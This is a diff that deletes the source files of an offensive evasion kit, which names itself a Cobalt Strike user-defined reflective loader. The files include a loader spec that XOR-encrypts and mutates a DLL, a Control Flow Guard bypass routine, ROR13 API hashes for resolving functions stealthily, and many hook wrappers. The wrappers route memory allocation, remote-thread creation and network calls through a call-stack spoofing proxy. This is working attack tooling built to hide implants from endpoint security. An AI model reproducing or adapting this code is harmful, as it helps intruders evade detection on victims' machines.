||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct _DRAUGR_PARAMETERS {
|
||||
PVOID Fixup; // 0
|
||||
PVOID OriginalReturnAddress; // 8
|
||||
PVOID Rbx; // 16
|
||||
PVOID Rdi; // 24
|
||||
PVOID BaseThreadInitThunkStackSize; // 32
|
||||
PVOID BaseThreadInitThunkReturnAddress; // 40
|
||||
PVOID TrampolineStackSize; // 48
|
||||
PVOID RtlUserThreadStartStackSize; // 56
|
||||
PVOID RtlUserThreadStartReturnAddress; // 64
|
||||
PVOID Ssn; // 72
|
||||
PVOID Trampoline; // 80
|
||||
PVOID Rsi; // 88
|
||||
PVOID R12; // 96
|
||||
PVOID R13; // 104
|
||||
PVOID R14; // 112
|
||||
PVOID R15; // 120
|
||||
} DRAUGR_PARAMETERS, * PDRAUGR_PARAMETERS;
|
||||
|
||||
typedef PVOID (*DRAUGR)(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||
@@ -1,41 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
ULONG_PTR functionPtr;
|
||||
ULONG_PTR argument1;
|
||||
ULONG_PTR argument2;
|
||||
ULONG_PTR argument3;
|
||||
ULONG_PTR argument4;
|
||||
ULONG_PTR argument5;
|
||||
ULONG_PTR argument6;
|
||||
} NTARGS;
|
||||
|
||||
VOID ProxyNtApi(NTARGS * args);
|
||||
@@ -1,14 +0,0 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
|
||||
all: bin/loader.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
@@ -1,37 +0,0 @@
|
||||
name "Crystal Kit UDRL"
|
||||
describe "Evasion Kit for Cobalt Strike"
|
||||
author "Daniel Duggan (@_RastaMouse)"
|
||||
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco +mutate
|
||||
dfr "resolve" "ror13"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
mergelib "../libtp.x64.zip"
|
||||
|
||||
load "bin/proxy.x64.o"
|
||||
make pic
|
||||
export
|
||||
preplen
|
||||
link "draugr"
|
||||
|
||||
generate $KEY 128
|
||||
|
||||
load "bin/hook.x64.o"
|
||||
make object +optimize +disco
|
||||
mergelib "../libtcg.x64.zip"
|
||||
patch "xorkey" $KEY
|
||||
import "LoadLibraryA, GetProcAddress, SpoofStub"
|
||||
export
|
||||
link "hooks"
|
||||
|
||||
push $DLL
|
||||
xor $KEY
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $KEY
|
||||
preplen
|
||||
link "key"
|
||||
|
||||
export
|
||||
-115
@@ -1,115 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#define NtCurrentProcess() ((HANDLE)(ULONG_PTR)-1)
|
||||
|
||||
typedef struct {
|
||||
ULONG ExtendedProcessInfo;
|
||||
ULONG ExtendedProcessInfoBuffer;
|
||||
} EXTENDED_PROCESS_INFORMATION, * PEXTENDED_PROCESS_INFORMATION;
|
||||
|
||||
typedef enum _PROCESSINFOCLASS {
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessCookie = 36
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef struct _VM_INFORMATION {
|
||||
DWORD dwNumberOfOffsets;
|
||||
PULONG plOutput;
|
||||
PCFG_CALL_TARGET_INFO ptOffsets;
|
||||
PVOID pMustBeZero;
|
||||
PVOID pMoarZero;
|
||||
} VM_INFORMATION, * PVM_INFORMATION;
|
||||
|
||||
typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS {
|
||||
VmPrefetchInformation,
|
||||
VmPagePriorityInformation,
|
||||
VmCfgCallTargetInformation
|
||||
} VIRTUAL_MEMORY_INFORMATION_CLASS;
|
||||
|
||||
typedef struct _MEMORY_RANGE_ENTRY {
|
||||
PVOID VirtualAddress;
|
||||
SIZE_T NumberOfBytes;
|
||||
} MEMORY_RANGE_ENTRY, * PMEMORY_RANGE_ENTRY;
|
||||
|
||||
typedef enum _MEMORY_INFORMATION_CLASS {
|
||||
MemoryBasicInformation
|
||||
} MEMORY_INFORMATION_CLASS;
|
||||
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory (HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory (HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, PMEMORY_RANGE_ENTRY, PVOID, ULONG);
|
||||
|
||||
BOOL CfgEnabled()
|
||||
{
|
||||
EXTENDED_PROCESS_INFORMATION procInfo;
|
||||
memset(&procInfo, 0, sizeof(EXTENDED_PROCESS_INFORMATION));
|
||||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
procInfo.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
|
||||
procInfo.ExtendedProcessInfoBuffer = 0;
|
||||
|
||||
status = NTDLL$NtQueryInformationProcess(NtCurrentProcess(), ProcessCookie | ProcessUserModeIOPL, &procInfo, sizeof(procInfo), NULL);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return procInfo.ExtendedProcessInfoBuffer;
|
||||
}
|
||||
|
||||
BOOL BypassCfg(PVOID address)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
VM_INFORMATION vmi;
|
||||
MEMORY_RANGE_ENTRY mre;
|
||||
CFG_CALL_TARGET_INFO cti;
|
||||
|
||||
memset(&mbi, 0, sizeof(MEMORY_BASIC_INFORMATION));
|
||||
memset(&vmi, 0, sizeof(VM_INFORMATION));
|
||||
memset(&mre, 0, sizeof(MEMORY_RANGE_ENTRY));
|
||||
memset(&cti, 0, sizeof(CFG_CALL_TARGET_INFO));
|
||||
|
||||
NTSTATUS status = NTDLL$NtQueryVirtualMemory(NtCurrentProcess(), address, MemoryBasicInformation, &mbi, sizeof(mbi), 0);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cti.Offset = (ULONG_PTR)address - (ULONG_PTR)mbi.BaseAddress;
|
||||
cti.Flags = CFG_CALL_TARGET_VALID;
|
||||
|
||||
mre.NumberOfBytes = (SIZE_T)mbi.RegionSize;
|
||||
mre.VirtualAddress = (PVOID)mbi.BaseAddress;
|
||||
|
||||
ULONG dwOutput = 0;
|
||||
|
||||
vmi.dwNumberOfOffsets = 0x1;
|
||||
vmi.plOutput = &dwOutput;
|
||||
vmi.ptOffsets = &cti;
|
||||
vmi.pMustBeZero = 0x0;
|
||||
vmi.pMoarZero = 0x0;
|
||||
|
||||
status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, (ULONG)sizeof(vmi));
|
||||
|
||||
if (status == 0xC00000F4) {
|
||||
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
|
||||
status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, 24);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
|
||||
if (status == 0xC0000045) {
|
||||
/* pretend we bypassed it so timers can continue */
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,87 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9
|
||||
#define GETMODULEHANDLEA_HASH 0xD3324904
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define VIRTUALALLOCEX_HASH 0x6E1A959C
|
||||
#define VIRTUALPROTECT_HASH 0x7946C61B
|
||||
#define VIRTUALPROTECTEX_HASH 0x53D98756
|
||||
#define VIRTUALFREE_HASH 0x30633AC
|
||||
#define GETTHREADCONTEXT_HASH 0x68A7C7D2
|
||||
#define SETTHREADCONTEXT_HASH 0xE8A7C7D3
|
||||
#define INTERNETOPENA_HASH 0x57E84429
|
||||
#define INTERNETCONNECTA_HASH 0x1E4BE80E
|
||||
#define RESUMETHREAD_HASH 0x9E4A3F88
|
||||
#define CREATETHREAD_HASH 0xCA2BD06B
|
||||
#define CREATEREMOTETHREAD_HASH 0x72BD9CDD
|
||||
#define OPENPROCESS_HASH 0xEFE297C0
|
||||
#define OPENTHREAD_HASH 0x58C91E6F
|
||||
#define CLOSEHANDLE_HASH 0xFFD97FB
|
||||
#define CREATEFILEMAPPINGA_HASH 0x56C61229
|
||||
#define MAPVIEWOFFILE_HASH 0x7B073C59
|
||||
#define UNMAPVIEWOFFILE_HASH 0xB2089259
|
||||
#define VIRTUALQUERY_HASH 0xA3C8C8AA
|
||||
#define DUPLICATEHANDLE_HASH 0xBD566724
|
||||
#define READPROCESSMEMORY_HASH 0x579D1BE9
|
||||
#define WRITEPROCESSMEMORY_HASH 0xD83D6AA1
|
||||
#define EXITTHREAD_HASH 0x60E0CEEF
|
||||
#define CREATEPROCESSA_HASH 0x16B3FE72
|
||||
#define SLEEP_HASH 0xDB2D49B0
|
||||
#define COCREATEINSTANCE_HASH 0x6E26C880
|
||||
|
||||
#define HASH_KEY 13
|
||||
|
||||
#ifndef __MINGW32__
|
||||
#pragma intrinsic( _rotr )
|
||||
#endif
|
||||
|
||||
__forceinline DWORD ror( DWORD d ) {
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
-695
@@ -1,695 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include "hook.h"
|
||||
#include "cfg.h"
|
||||
#include "tcg.h"
|
||||
|
||||
/* store resolved functions */
|
||||
void * g_InternetOpenA;
|
||||
void * g_InternetConnectA;
|
||||
void * g_CoCreateInstance;
|
||||
void * g_ExitThread;
|
||||
|
||||
/* patched in from loader.spec */
|
||||
char xorkey[128] = { 1 };
|
||||
|
||||
/* some globals */
|
||||
MEMORY_LAYOUT g_layout;
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualAlloc);
|
||||
call.argc = 4;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(flAllocationType);
|
||||
call.args[3] = (ULONG_PTR)(flProtect);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualAllocEx);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpAddress);
|
||||
call.args[2] = (ULONG_PTR)(dwSize);
|
||||
call.args[3] = (ULONG_PTR)(flAllocationType);
|
||||
call.args[4] = (ULONG_PTR)(flProtect);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualProtect);
|
||||
call.argc = 4;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(flNewProtect);
|
||||
call.args[3] = (ULONG_PTR)(lpflOldProtect);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualProtectEx);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpAddress);
|
||||
call.args[2] = (ULONG_PTR)(dwSize);
|
||||
call.args[3] = (ULONG_PTR)(flNewProtect);
|
||||
call.args[4] = (ULONG_PTR)(lpflOldProtect);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualFree);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(dwFreeType);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$GetThreadContext);
|
||||
call.argc = 2;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
call.args[1] = (ULONG_PTR)(lpContext);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$SetThreadContext);
|
||||
call.argc = 2;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
call.args[1] = (ULONG_PTR)(lpContext);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
HINTERNET WINAPI _InternetOpenA(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(g_InternetOpenA);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(lpszAgent);
|
||||
call.args[1] = (ULONG_PTR)(dwAccessType);
|
||||
call.args[2] = (ULONG_PTR)(lpszProxy);
|
||||
call.args[3] = (ULONG_PTR)(lpszProxyBypass);
|
||||
call.args[4] = (ULONG_PTR)(dwFlags);
|
||||
|
||||
return (HINTERNET)draugr(&call);
|
||||
}
|
||||
|
||||
HINTERNET WINAPI _InternetConnectA(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(g_InternetConnectA);
|
||||
call.argc = 8;
|
||||
call.args[0] = (ULONG_PTR)(hInternet);
|
||||
call.args[1] = (ULONG_PTR)(lpszServerName);
|
||||
call.args[2] = (ULONG_PTR)(nServerPort);
|
||||
call.args[3] = (ULONG_PTR)(lpszUserName);
|
||||
call.args[4] = (ULONG_PTR)(lpszPassword);
|
||||
call.args[5] = (ULONG_PTR)(dwService);
|
||||
call.args[6] = (ULONG_PTR)(dwFlags);
|
||||
call.args[7] = (ULONG_PTR)(dwContext);
|
||||
|
||||
return (HINTERNET)draugr(&call);
|
||||
}
|
||||
|
||||
DWORD WINAPI _ResumeThread(HANDLE hThread)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$ResumeThread);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
|
||||
return (DWORD)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$CreateThread);
|
||||
call.argc = 6;
|
||||
call.args[0] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[1] = (ULONG_PTR)(dwStackSize);
|
||||
call.args[2] = (ULONG_PTR)(lpStartAddress);
|
||||
call.args[3] = (ULONG_PTR)(lpParameter);
|
||||
call.args[4] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[5] = (ULONG_PTR)(lpThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$CreateRemoteThread);
|
||||
call.argc = 7;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[2] = (ULONG_PTR)(dwStackSize);
|
||||
call.args[3] = (ULONG_PTR)(lpStartAddress);
|
||||
call.args[4] = (ULONG_PTR)(lpParameter);
|
||||
call.args[5] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[6] = (ULONG_PTR)(lpThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$OpenProcess);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[1] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[2] = (ULONG_PTR)(dwProcessId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$OpenThread);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[1] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[2] = (ULONG_PTR)(dwThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle(HANDLE hObject)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$CloseHandle);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(hObject);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$CreateFileMappingA);
|
||||
call.argc = 6;
|
||||
call.args[0] = (ULONG_PTR)(hFile);
|
||||
call.args[1] = (ULONG_PTR)(lpFileMappingAttributes);
|
||||
call.args[2] = (ULONG_PTR)(flProtect);
|
||||
call.args[3] = (ULONG_PTR)(dwMaximumSizeHigh);
|
||||
call.args[4] = (ULONG_PTR)(dwMaximumSizeLow);
|
||||
call.args[5] = (ULONG_PTR)(lpName);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
